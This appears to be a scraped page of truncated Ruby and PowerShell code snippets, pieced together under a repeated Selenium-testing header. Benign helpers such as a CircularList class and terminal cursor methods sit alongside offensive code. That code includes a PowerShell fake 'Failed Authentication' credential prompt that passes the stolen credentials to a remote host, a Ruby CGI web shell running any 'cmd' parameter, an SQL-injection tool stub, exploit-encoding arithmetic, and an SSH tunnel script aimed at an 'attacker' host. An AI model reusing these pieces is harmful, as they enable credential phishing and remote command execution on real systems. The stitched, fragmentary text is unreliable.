#Getting Started
##Webpage:
<html>
<head>
<title>Testing with Ruby and Selenium WebDriver</title>
</head>
<body bgcolor="antiquewhite">
class CircularList < Array | |
def index | |
@index ||=0 | |
@index.abs | |
end | |
def current | |
@index ||= 0 | |
get_at(@index) | |
end |
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName); | |
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; | |
$wc = new-object net.webclient; | |
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy; | |
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; | |
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, ''); | |
$result = $wc.downloadstring('https://172.16.102.163'); |
#!/usr/bin/env ruby | |
# echo "GET /cgi/shell.rb?cmd=ls%20-la" | nc localhost 80 | |
require 'cgi' | |
cgi = CGI.new | |
puts cgi.header | |
system(cgi['cmd']) |
# Find All sum of 3-values that if we subtract from 0x1035E8EA wil give us 0x1035FFB4 | |
# 0x1035E8EA | |
# 0x55554d66 - | |
# 0x55554b66 - | |
# 0x5555506a - | |
# ------------ | |
# 0x1035FFB4 | |
CHARS = | |
[ |
require "net/http" | |
# Login | |
uri = URI.parse("http://xx.xx.xx/Login.aspx") | |
http = Net::HTTP.new(uri.host, uri.port) | |
http.set_debug_output($stdout) | |
request_login = Net::HTTP::Post.new(uri.request_uri) | |
request_login["Accept-Language"] = "en-US,en;q=0.5" |
#!/usr/bin/env ruby | |
# | |
# KING SABRI | |
# Hisoka SQLi - For Ibrahim | |
# | |
require 'open-uri' | |
require 'uri' | |
if ARGV.size < 2 | |
puts "[+] ruby #{__FILE__} <IP_ADDRESS> <PAYLOAD>" |
class String | |
def mv_up(n=1) | |
cursor(self, "\033[#{n}A") | |
end | |
def mv_down(n=1) | |
cursor(self, "\033[#{n}B") | |
end | |
def mv_fw(n=1) |
#Getting Started
##Webpage:
<html>
<head>
<title>Testing with Ruby and Selenium WebDriver</title>
</head>
<body bgcolor="antiquewhite">
#!/usr/bin/evn ruby | |
require 'net/ssh' | |
Net::SSH.start("127.0.0.1", 'fish', :password => 'fisheye', :verbose => :debug) do |ssh| | |
# Forward connections coming on port 3333 to port 3389 of attacker.zone | |
ssh.forward.local('0.0.0.0', 3333, "172.16.16.136", 80) | |
puts "[+] Starting SSH port forward tunnel" | |
ssh.loop { true } | |
end |
# In Java, the following expression | |
# Integer.toHexString(1286933134) | |
# produces: | |
# "4cb50a8e" | |
# and | |
# Integer.toHexString(-1286933134) | |
# produces: | |
# "b34af572" | |
# ref doc: http://docs.oracle.com/javase/7/docs/api/java/lang/Integer.html#toHexString(int) |